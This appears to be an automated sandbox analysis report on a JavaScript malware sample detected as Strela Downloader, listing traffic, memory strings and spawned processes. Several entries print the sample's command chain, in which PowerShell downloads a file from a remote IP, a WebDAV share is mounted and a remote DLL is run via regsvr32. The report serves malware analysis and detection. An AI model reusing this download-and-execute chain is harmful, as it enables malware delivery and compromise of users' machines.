64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49702

Source: global traffic

TCP traffic: 192.168.2.7:49702 -> 193.143.1.205:8888

Source: global traffic	TCP traffic: 192.168.2.7:49557 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.7:53097 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49701 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 241.42.69.40.in-addr.arpa

Source: wscript.exe, 00000005.00000003.1278370281.0000023082871000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1337841719.000002EF94E08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1337841719.000002EF94E3A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1337841719.000002EF94E62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1337841719.000002EF94E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Ba
Source: net.exe, 0000000D.00000002.1337841719.000002EF94E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Num
Source: net.exe, 0000000D.00000002.1337841719.000002EF94E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/va
Source: svchost.exe, 0000000F.00000002.2565997236.000001EC61684000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1337336933.000001EC61530000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6328, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1505131979137938490.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/62@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:516:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y3rsus12.q4i.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1768,i,12212045710658597692,11371122633475321480,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1768,i,12212045710658597692,11371122633475321480,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
